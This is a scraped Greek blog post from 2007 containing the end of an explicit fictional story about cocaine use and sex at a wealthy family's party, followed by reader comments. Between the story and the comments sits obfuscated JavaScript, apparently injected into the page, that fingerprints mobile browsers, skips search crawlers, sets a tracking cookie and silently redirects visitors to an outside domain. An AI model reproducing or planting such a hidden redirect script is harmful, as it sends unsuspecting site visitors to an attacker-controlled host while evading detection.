του. Μετά από λίγα δευτερόλεπτα πλήρους ακινησίας και σιωπής ακούγεται να χτυπάει στη διπλανή πόρτα και να ρωτάει με την ίδια χαμηλή φωνή : «Πού είσαι;» Θα ψάξει όλα τα δωμάτια γιατί είναι σίγουρος ότι κάπου τον περιμένει η Φρίντα. Αφού απομακρυνθεί αρκετά η Φρίντα έρχεται πίσω μου και μου δένει τα μάτια.
«Λοιπόν θα ψάξω να βρω το φιξάκι » μου λεει «εσύ όμως δεν θα κουνηθείς καθόλου, όσο θα σε ψάχνω , κοντά τα χέρια , ούτε φιλιά ούτε μαλακίες» Αφήνομαι στα απαλά χέρια της. Μετά από λίγο σηκώνεται εκνευρισμένη και μου φωνάζει : «με δουλεύεις» Σηκώνω το μαντήλι από το ένα μάτι και ψιθυρίζω «για δοκίμασε τη σκόνη που έχω στις μασχάλες» . Αηδία … αλλά κολλάει τη μύτη της στη μασχάλη μου. Δεν μιλάει μόνο ρουφάει με επιμονή. Καλά θα περάσουμε σκέφτομαι , έστω κι αν η Λώρα είναι εκεί έξω. Σηκώνεται ξαφνικά και μου λεει: «περίμενε λίγο.» Πηγαίνει στην πόρτα , ακούει τους θορύβους και βγαίνει βιαστικά. Ακούω το κλειδί που γυρίζει και με κλειδώνει. Πετάω το μαντήλι. Πηγαίνω μέχρι το παράθυρο. Είμαστε στον πρώτο όροφο. Βγαίνω από τη μπαλκονόπορτα. Κάνει κρύο και αυτή με έχει ξεκουμπώσει παντού. Ρίχνω μια ματιά κάτω. Θα μπορούσα να κατεβώ από δω , να κρεμαστώ από τα κάγκελα ,να σκαλώσω στα κλαδιά ενός ξεπαγιασμένου φοίνικα και να πατήσω στον κήπο. Μετά πάω να πάρω το φόρντ μου και να εξαφανιστώ. Γυρίζω στο δωμάτιο ξεπαγιασμένος. Ακούω το μπάσο να δονεί πόρτες και τοίχους και οτιδήποτε άλλο άψυχο που κάποτε στον ίδιο χώρο μπορεί να «έλιωνε» από τον ήχο των βιολιών. Πολύ χρήμα η οικογένεια του Κωνσταντίνου. Χρήμα μαζεμένο από γενιά σε γενιά , που σε κάνει να νιώθεις ότι ο κόσμος περιφέρεται γύρω σου και οι δραστηριότητες του έχουν επίκεντρο εσένα.
Ακούω το κλειδί. Μπαίνουν η Λώρα με τη Φρίντα. Η Λώρα κρατάει μια μπουκάλα ουίσκι. Το παίρνω από τα χέρια της και καταπίνω λαίμαργα. «Δείξε μας τι έφερες» μου λεει. «τα έχω φορεμένα» λεω . Με καθίζουν στην καρέκλα και σνιφάρουν τα ρούχα μου. «Εδώ , εδώ…» λεω και δείχνω το σλιπ μου. Πέφτουν και οι δύο με τα μούτρα . Είναι ανεξέλεγκτο αυτό που νομίζω ότι γίνεται εκεί κάτω. Βρίσκονται τα πρόσωπά τους τόσο κοντά κολλημένα εκεί αναζητώντας περισσότερη ηδονή και εγώ είμαι σίγουρος πλέον ότι θέλω να σηκωθώ και να τις …….. και τις δύο. Η Λώρα το βάζει στο στόμα της χωρίς ενδοιασμούς. Τι γίνεται εδώ; Ούτε ένα φιλί; Κάποια προκαταρκτικά; Κάτι; Κάτι τέλος πάντων . Εεεεε είμαι και εγώ εδώ , έεεεε προσπαθώ να την τραβήξω από το πουλί μου και να την φιλήσω. «τι έπαθες βρε μαλάκα ; τι θέλεις;» … «τι θες…» συνέχισε τραυλίζοντας . «θέλεις συναίσθημα γαμώ τη πουτάνα σου ;»
Τι θέλω; Πίνω δύο γουλιές ακόμα και θέλω να κλάψω. Εκεί «κάτω» το πάρτι συνεχίζεται. Έριξα πολύ σκόνη στο εσώρουχο και δεν σταμάτησαν ούτε λεπτό να παλεύουν με το σώμα μου. Η Λώρα κάθισε πάνω μου «ιππαστί» ; (έτσι το λένε;). Κάναμε τρελές βόλτες στην καρέκλα και μετά συνέχισε η Φρίντα και τη δεύτερη φορά δεν μπορούσα να τελειώσω , η σκόνη και το ουίσκι με έκαναν να μη αισθάνομαι. Η Λώρα με τη γλώσσα της ασταμάτητη . Παίξαμε «τα παγωτά» , παίξαμε «τα παγάκια» , παίξαμε «τα γλυφιτζούρια» και ότι άλλο μπορεί να «γλύφεται» και τότε ακούστηκε στη πόρτα ο Κωνσταντίνος.
Σηκώθηκα ζαλισμένος. Με έσπρωξαν βιαστικά στο μπαλκόνι . Νομίζω άκουσα , «πήδα, φύγε , εξαφανίσου…» ξεκούμπωτος και με αστάθεια σημάδεψα με το σώμα μου τον φοίνικα. Μόνο που τώρα δεν είχα συναίσθηση. Άκουσα φωνές από το μπαλκόνι ενώ ήμουν στη ρίζα του δέντρου γδαρμένος και ξεπαγιασμένος.
Δεν με είδαν. Σύρθηκα μέχρι το αυτοκίνητο. Οδήγησα τυφλά . Οδήγησα σε λήθαργο. Έφθασα σπίτι. «Το άγαλμα της ελευθερίας» καταματωμένο χωρίς χιτώνα , μόνο με ένα εφαρμοστό καλσόν κι ένα τι σερτ , με τσακισμένο το στέμμα του ξεκλείδωσε την εξώπορτα. Μελέτησα την αλληλογραφία στην είσοδο από συνήθεια. Μπήκα στο σπίτι. Έπεσα στο στρώμα. Κοιμήθηκα ώρες. Ξύπνησα κάποτε… ξύπνησα.
Καφέ… θέλω καφέ. Μάλλον δεν έχω κεφάλι πάνω στους ώμους μου. Δεν έχω μυαλό . Πίνω καφέ και δεν ξέρω που πηγαίνει ο καφές που καταπίνω. Το κινητό δεν χτύπησε. Δεν με ψάχνει κανείς.
Ξανακοιμάμαι.
Ξύπνησα κάποτε … ξύπνησα. Κι άλλο καφέ… θέλω καφέ. Πεινάω ; «Δεν ξέρω» . Διψάω; «Ίσως» Το κεφάλι μου ένα άδειο δωμάτιο . Τι θέλω ; Τι μου αρέσει; Ποιός είμαι εγώ σ΄ αυτό το άδειο δωμάτιο;
Γυρίζω στο στρώμα μου. Έχω πλήρη συναίσθηση του τιποτένιου πλάσματος , για πρώτη φορά μετά από καιρό . Το άδειο μυαλό μου , το άδειο … που τώρα γεμίζει …. Γεμίζει μόνο από τη Λώρα .
Το κινητό δεν χτύπησε. Δεν με ψάχνει κανείς.
Ψάχνω το σακουλάκι με την άσπρη σκόνη . Το αγκαλιάζω και το φιλάω και ξαπλώνω μαζί του. Είμαι ένα τίποτε και έχω όλο τον κόσμο στα χέρια μου και … εσένα Λώρα , έχω σκάρτο ένα ολόκληρο κιλό Λώρα .
var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

13 Σχόλια »

  1. «αφήνω» αυτό το κείμενο εδώ και όπως σας εχω πει γραψτε μου ότι γουσταρετε , γραψτε μου και ανώνυμα . 🙂
    είναι μεγάλο και το «αφησα» για να μη βαρεθείτε περιμένοντας , γιατί υποσχέθηκα στην Ναταλία , που με έβαλε σε μια πεντάδα της , κείμενο για επεισόδιο που είχα στην εθνική οδο και θέλω λίγες μέρες να το αναπαραστήσω
    🙂

    Σχόλιο από thelastrealanwnymous — Μαρτίου 18, 2007 @ 11 :15 πμ | Απάντηση

  2. θα πω:
    1) ότι πληγώθηκα που δε έγραψες ακόμα την ιστορία… σνιφ…
    2) ότι μας γκάστρωσες μ’ αυτό το μικρούλι κειμενάκι. σπηντάκια είχες πιει γλυκό μου; λάλησα για να το διαβάσω ολόκληρο
    3) ότι έχω μείνει με την απορία αν είναι αλήθεια ή φαντασία όλο αυτό
    4) please mail me: nataliavr@in.gr για να μου πεις γιατί θα σκάσω!!!

    Σχόλιο από Natalia — Μαρτίου 18, 2007 @ 4 :03 μμ | Απάντηση

  3. έδωσες μια, το σκόρπισες και δεν λυπήθηκες κανέναν. μπράβο μικρέ, οι γροθιές σου υπόταξαν την προσοχή κι ήθελε πολύ προσοχή και ανοχή ένα τόσο μεγάλο κείμενο, μπράβο που κατάφερες να σε διαβάσω ολόκληρο, i’ll be around

    Σχόλιο από ανώνυμη — Μαρτίου 18, 2007 @ 5 :11 μμ | Απάντηση

  4. ναταλία
    περίμενε… γράφω τώρα.
    παντως σου εστειλα μειλ με διευκρινήσεις 🙂
    ανώνυμη
    χαίρομαι που σου άρεσε το κείμενο μου και …
    δεν είμαι μικρος 🙂

    Σχόλιο από thelastrealanwnymous — Μαρτίου 19, 2007 @ 7 :46 πμ | Απάντηση

  5. μιλούσα στον ήρωα σου όταν έλεγα «μικρέ» αλλά οκ, μπορούσες να πεις ένα ευχαριστώ για το κοπλιμάν:-)

    υ.γ. δηλαδή τι post είναι αυτό που επιδέχεται την διάκριση αποστολής mail για περαιτέρω εξηγήσεις;! ή γράψτε τα όλα ή τίποτα!

    Σχόλιο από ανώνυμη — Μαρτίου 19, 2007 @ 9 :33 πμ | Απάντηση

  6. ανώνυμη
    όταν κάποιος έχει απορίες ; και χρειαζεται διευκρινήσεις;
    …ευτυχώς που δεν χρεώνω επιπλεον τα μέιλ
    🙂
    σου αρεσε ο ήρωάς μου ; πες μου λεπτομερειες για το πως τον βλέπεις εσύ.

    Σχόλιο από thelastrealanwnymous — Μαρτίου 19, 2007 @ 6 :45 μμ | Απάντηση

  7. Κάνεις για σεναριογράφος. Δεν πιστευω να είναι πραγματική η ιστορία

    Σχόλιο από alekos — Μαρτίου 19, 2007 @ 11 :55 μμ | Απάντηση

  8. είμαι ένας άνεργος σεναριογραφος
    🙂

    Σχόλιο από thelastrealanwnymous — Μαρτίου 20, 2007 @ 8 :40 πμ | Απάντηση

  9. ΄Ανεργος ακόμη καλέ μου, ύστερα από αυτό…….

    Σχόλιο από sea4 — Μαρτίου 20, 2007 @ 10 :15 μμ | Απάντηση

  10. ανεργος , μαλιστα κυρία μου , ανεργος γιατί περιγράφω ρεαλιστικά τον σύγχρονο κόσμο και έτσι θα μπορούν όλοι όσοι με διαβαζουν να τον εξηγήσουν και δεν θα την πατάνε πιά , από τις παγίδες που τους στήνει καθημερινά «το σύστημα».

    Σχόλιο από thelastrealanwnymous — Μαρτίου 21, 2007 @ 7 :09 μμ | Απάντηση

  11. Ξεπέρασες τις 500 λέξεις…θα σε κόψω…και θα ξαναπληρώνεις δικαιώματα συμμετοχής στις εξετάσεις!!!!!
    ξαναγράψτο ..πιο σφιχτό….πιο μελό….πιο ασαφές….και βάλε και λίγο real sex ρε παιδάκι μου!! Πώς θα πουλήσει;;;;;

    Σχόλιο από NanaTsouma — Μαρτίου 23, 2007 @ 12 :27 μμ | Απάντηση

  12. νανα
    αυτά τα «καλοκαιρινά» κείμενα αν δεν έχουν καποιο «μήκος» δεν τα απολαμβάνεις.
    τύπωσέ το και ξαναδοκίμασε να το διαβασεις στην παραλία.
    μετά θα μου μιλήσεις μόνη σου για τη «διαφορά»
    🙂
    εκτος από το εμπορικό (βαρετό) ριαλ σεξ , έχει μεγάλο ενδιαφέρον αυτή η προσωπική εκδοχή.

    Σχόλιο από thelastrealanwnymous — Μαρτίου 24, 2007 @ 10 :20 πμ | Απάντηση

  13. ΡΑΔΙΟΜΑΡΑΘΩΝΙΟΣ UNISEF

    ΣΗΜΕΡΑ 29 ΜΑΡΤΙΟΥ 2007

    ΑΠΟ ΤΙΣ 6 ΤΟ ΠΡΩΙ ΜΕΧΡΙ ΤΙΣ 12 ΤΟ ΒΡΑΔΥ

    ΝΕΤ 105,8

    ΣΥΝΤΟΝΙΣΤΕΙΤΕ!!!!

    ΜΑΣ ΕΧΟΥΝ ΑΝΑΓΚΗ!!!!

    Σχόλιο από NanaTsouma — Μαρτίου 29, 2007 @ 9 :00 πμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Δημιουργήστε ένα δωρεάν ιστότοπο ή ιστολόγιο στο WordPress.com.

Αρέσει σε %d bloggers: